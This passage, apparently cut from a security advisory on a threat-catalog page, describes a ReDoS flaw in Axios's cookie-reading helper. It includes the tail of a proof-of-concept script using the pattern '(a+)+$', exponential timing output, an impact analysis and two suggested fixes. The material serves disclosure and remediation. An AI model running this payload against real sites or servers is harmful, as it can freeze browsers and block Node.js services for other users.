but valid evil patterns won't throw } const elapsed = Date.now() - start; console.log(Payload length ${len}: ${elapsed}ms); } // Demonstrating exponential growth with a simple nested quantifier console.log('\n--- Exponential Backtracking Demo ---'); for (const n of [20, 22, 24, 26]) { const evilName = '(' + 'a'.repeat(1) + '+)+$'; const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking globalThis.document = { cookie: testCookie }; const start = Date.now(); try { cookiesRead(evilName); } catch(e) {} const elapsed = Date.now() - start; console.log(Input length ${n}: ${elapsed}ms); } ` 8. PoC Output ` === ReDoS via Cookie Name Injection PoC === Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms) Payload length 25: ~1,300ms Payload length 30: ~323,675ms (5+ minutes) --- Exponential Backtracking Demo --- Input length 20: 21ms Input length 22: 84ms Input length 24: 336ms Input length 26: 1,344ms ` The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time. 9. Impact Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page. Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests. Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation. 10. Remediation / Suggested Fix Escape all regex metacharacters in the name parameter before constructing the regular expression. `javascript // FIXED: lib/helpers/cookies.js function escapeRegExp(string) { return string.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); } // ... read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match( new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;])') ); return match ? decodeURIComponent(match[1]) : null; }, ` Alternatively, avoid dynamic regex construction entirely and use string-based parsing: `javascript read(name) { if (typeof document === 'undefined') return null; const cookies = document.cookie.split('; '); for (const cookie of cookies) { const eqIndex = cookie.indexOf('='); if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) { return decodeURIComponent(cookie.substring(eqIndex + 1)); } } return null; }, `` 11. References CWE-1333: Inefficient Regular Expression Complexity CWE-400: Uncontrolled Resource Consumption OWASP: Regular Expression Denial of Service Axios GitHub Repository </details> ---

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Showing 1–20 of 32 threats